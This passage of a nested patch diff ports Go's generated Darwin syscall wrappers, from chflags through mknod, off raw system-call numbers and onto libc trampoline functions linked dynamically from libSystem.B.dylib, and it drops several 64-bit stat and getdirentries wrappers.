-+ _, _, e1 := syscall_syscall(funcPC(libc_chflags_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chflags_trampoline()
-+
-+//go:linkname libc_chflags libc_chflags
-+//go:cgo_import_dynamic libc_chflags chflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chmod(path string, mode uint32) (err error) {
-@@ -469,13 +874,18 @@ func Chmod(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chmod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chmod_trampoline()
-+
-+//go:linkname libc_chmod libc_chmod
-+//go:cgo_import_dynamic libc_chmod chmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chown(path string, uid int, gid int) (err error) {
-@@ -484,13 +894,18 @@ func Chown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_chown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chown_trampoline()
-+
-+//go:linkname libc_chown libc_chown
-+//go:cgo_import_dynamic libc_chown chown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chroot(path string) (err error) {
-@@ -499,27 +914,52 @@ func Chroot(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chroot_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chroot_trampoline()
-+
-+//go:linkname libc_chroot libc_chroot
-+//go:cgo_import_dynamic libc_chroot chroot "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ClockGettime(clockid int32, time *Timespec) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_clock_gettime_trampoline), uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_clock_gettime_trampoline()
-+
-+//go:linkname libc_clock_gettime libc_clock_gettime
-+//go:cgo_import_dynamic libc_clock_gettime clock_gettime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_close_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_close_trampoline()
-+
-+//go:linkname libc_close libc_close
-+//go:cgo_import_dynamic libc_close close "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup(fd int) (nfd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_dup_trampoline), uintptr(fd), 0, 0)
- nfd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -527,16 +967,26 @@ func Dup(fd int) (nfd int, err error) {
- return
- }
-
-+func libc_dup_trampoline()
-+
-+//go:linkname libc_dup libc_dup
-+//go:cgo_import_dynamic libc_dup dup "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup2(from int, to int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_dup2_trampoline), uintptr(from), uintptr(to), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_dup2_trampoline()
-+
-+//go:linkname libc_dup2 libc_dup2
-+//go:cgo_import_dynamic libc_dup2 dup2 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exchangedata(path1 string, path2 string, options int) (err error) {
-@@ -550,20 +1000,30 @@ func Exchangedata(path1 string, path2 string, options int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_EXCHANGEDATA, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ _, _, e1 := syscall_syscall(funcPC(libc_exchangedata_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_exchangedata_trampoline()
-+
-+//go:linkname libc_exchangedata libc_exchangedata
-+//go:cgo_import_dynamic libc_exchangedata exchangedata "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exit(code int) {
-- Syscall(SYS_EXIT, uintptr(code), 0, 0)
-+ syscall_syscall(funcPC(libc_exit_trampoline), uintptr(code), 0, 0)
- return
- }
-
-+func libc_exit_trampoline()
-+
-+//go:linkname libc_exit libc_exit
-+//go:cgo_import_dynamic libc_exit exit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -572,43 +1032,63 @@ func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_faccessat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_faccessat_trampoline()
-+
-+//go:linkname libc_faccessat libc_faccessat
-+//go:cgo_import_dynamic libc_faccessat faccessat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchdir_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchdir_trampoline()
-+
-+//go:linkname libc_fchdir libc_fchdir
-+//go:cgo_import_dynamic libc_fchdir fchdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchflags(fd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchflags_trampoline), uintptr(fd), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchflags_trampoline()
-+
-+//go:linkname libc_fchflags libc_fchflags
-+//go:cgo_import_dynamic libc_fchflags fchflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchmod_trampoline), uintptr(fd), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmod_trampoline()
-+
-+//go:linkname libc_fchmod libc_fchmod
-+//go:cgo_import_dynamic libc_fchmod fchmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -617,23 +1097,33 @@ func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchmodat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmodat_trampoline()
-+
-+//go:linkname libc_fchmodat libc_fchmodat
-+//go:cgo_import_dynamic libc_fchmodat fchmodat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchown_trampoline), uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchown_trampoline()
-+
-+//go:linkname libc_fchown libc_fchown
-+//go:cgo_import_dynamic libc_fchown fchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-@@ -642,27 +1132,37 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchownat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchownat_trampoline()
-+
-+//go:linkname libc_fchownat libc_fchownat
-+//go:cgo_import_dynamic libc_fchownat fchownat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_flock_trampoline), uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_flock_trampoline()
-+
-+//go:linkname libc_flock libc_flock
-+//go:cgo_import_dynamic libc_flock flock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fpathconf(fd int, name int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fpathconf_trampoline), uintptr(fd), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -670,99 +1170,97 @@ func Fpathconf(fd int, name int) (val int, err error) {
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fpathconf_trampoline()
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fpathconf libc_fpathconf
-+//go:cgo_import_dynamic libc_fpathconf fpathconf "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func Fsync(fd int) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fsync_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fsync_trampoline()
-
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fsync libc_fsync
-+//go:cgo_import_dynamic libc_fsync fsync "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_ftruncate_trampoline), uintptr(fd), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+func libc_ftruncate_trampoline()
-+
-+//go:linkname libc_ftruncate libc_ftruncate
-+//go:cgo_import_dynamic libc_ftruncate ftruncate "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getdtablesize() (size int) {
-- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_getdtablesize_trampoline), 0, 0, 0)
- size = int(r0)
- return
- }
-
-+func libc_getdtablesize_trampoline()
-+
-+//go:linkname libc_getdtablesize libc_getdtablesize
-+//go:cgo_import_dynamic libc_getdtablesize getdtablesize "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getegid_trampoline), 0, 0, 0)
- egid = int(r0)
- return
- }
-
-+func libc_getegid_trampoline()
-+
-+//go:linkname libc_getegid libc_getegid
-+//go:cgo_import_dynamic libc_getegid getegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_geteuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_geteuid_trampoline()
-+
-+//go:linkname libc_geteuid libc_geteuid
-+//go:cgo_import_dynamic libc_geteuid geteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getgid_trampoline), 0, 0, 0)
- gid = int(r0)
- return
- }
-
-+func libc_getgid_trampoline()
-+
-+//go:linkname libc_getgid libc_getgid
-+//go:cgo_import_dynamic libc_getgid getgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getpgid_trampoline), uintptr(pid), 0, 0)
- pgid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -770,34 +1268,54 @@ func Getpgid(pid int) (pgid int, err error) {
- return
- }
-
-+func libc_getpgid_trampoline()
-+
-+//go:linkname libc_getpgid libc_getpgid
-+//go:cgo_import_dynamic libc_getpgid getpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgrp() (pgrp int) {
-- r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpgrp_trampoline), 0, 0, 0)
- pgrp = int(r0)
- return
- }
-
-+func libc_getpgrp_trampoline()
-+
-+//go:linkname libc_getpgrp libc_getpgrp
-+//go:cgo_import_dynamic libc_getpgrp getpgrp "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpid_trampoline), 0, 0, 0)
- pid = int(r0)
- return
- }
-
-+func libc_getpid_trampoline()
-+
-+//go:linkname libc_getpid libc_getpid
-+//go:cgo_import_dynamic libc_getpid getpid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getppid_trampoline), 0, 0, 0)
- ppid = int(r0)
- return
- }
-
-+func libc_getppid_trampoline()
-+
-+//go:linkname libc_getppid libc_getppid
-+//go:cgo_import_dynamic libc_getppid getppid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getpriority_trampoline), uintptr(which), uintptr(who), 0)
- prio = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -805,30 +1323,45 @@ func Getpriority(which int, who int) (prio int, err error) {
- return
- }
-
-+func libc_getpriority_trampoline()
-+
-+//go:linkname libc_getpriority libc_getpriority
-+//go:cgo_import_dynamic libc_getpriority getpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrlimit_trampoline()
-+
-+//go:linkname libc_getrlimit libc_getrlimit
-+//go:cgo_import_dynamic libc_getrlimit getrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrusage_trampoline), uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrusage_trampoline()
-+
-+//go:linkname libc_getrusage libc_getrusage
-+//go:cgo_import_dynamic libc_getrusage getrusage "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getsid_trampoline), uintptr(pid), 0, 0)
- sid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -836,26 +1369,41 @@ func Getsid(pid int) (sid int, err error) {
- return
- }
-
-+func libc_getsid_trampoline()
-+
-+//go:linkname libc_getsid libc_getsid
-+//go:cgo_import_dynamic libc_getsid getsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_getuid_trampoline()
-+
-+//go:linkname libc_getuid libc_getuid
-+//go:cgo_import_dynamic libc_getuid getuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Issetugid() (tainted bool) {
-- r0, _, _ := RawSyscall(SYS_ISSETUGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_issetugid_trampoline), 0, 0, 0)
- tainted = bool(r0 != 0)
- return
- }
-
-+func libc_issetugid_trampoline()
-+
-+//go:linkname libc_issetugid libc_issetugid
-+//go:cgo_import_dynamic libc_issetugid issetugid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Kqueue() (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_kqueue_trampoline), 0, 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -863,6 +1411,11 @@ func Kqueue() (fd int, err error) {
- return
- }
-
-+func libc_kqueue_trampoline()
-+
-+//go:linkname libc_kqueue libc_kqueue
-+//go:cgo_import_dynamic libc_kqueue kqueue "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Lchown(path string, uid int, gid int) (err error) {
-@@ -871,13 +1424,18 @@ func Lchown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_lchown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_lchown_trampoline()
-+
-+//go:linkname libc_lchown libc_lchown
-+//go:cgo_import_dynamic libc_lchown lchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Link(path string, link string) (err error) {
-@@ -891,13 +1449,18 @@ func Link(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_link_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_link_trampoline()
-+
-+//go:linkname libc_link libc_link
-+//go:cgo_import_dynamic libc_link link "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-@@ -911,37 +1474,32 @@ func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err er
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_linkat_trampoline), uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_linkat_trampoline()
-+
-+//go:linkname libc_linkat libc_linkat
-+//go:cgo_import_dynamic libc_linkat linkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Listen(s int, backlog int) (err error) {
-- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_listen_trampoline), uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_listen_trampoline()
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_listen libc_listen
-+//go:cgo_import_dynamic libc_listen listen "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -951,13 +1509,18 @@ func Mkdir(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdir_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdir_trampoline()
-+
-+//go:linkname libc_mkdir libc_mkdir
-+//go:cgo_import_dynamic libc_mkdir mkdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-@@ -966,13 +1529,18 @@ func Mkdirat(dirfd int, path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdirat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdirat_trampoline()
-+
-+//go:linkname libc_mkdirat libc_mkdirat
-+//go:cgo_import_dynamic libc_mkdirat mkdirat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkfifo(path string, mode uint32) (err error) {
-@@ -981,13 +1549,18 @@ func Mkfifo(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkfifo_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkfifo_trampoline()
-+
-+//go:linkname libc_mkfifo libc_mkfifo
-+//go:cgo_import_dynamic libc_mkfifo mkfifo "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mknod(path string, mode uint32, dev int) (err error) {
-@@ -996,13 +1569,18 @@ func Mknod(path string, mode uint32, dev int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mknod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mknod_trampoline()
-+
-+//go:linkname libc_mknod libc_mknod
-+//go:cgo_import_dynamic libc_mknod mknod "/usr/lib/libSystem.B.dylib"
-+
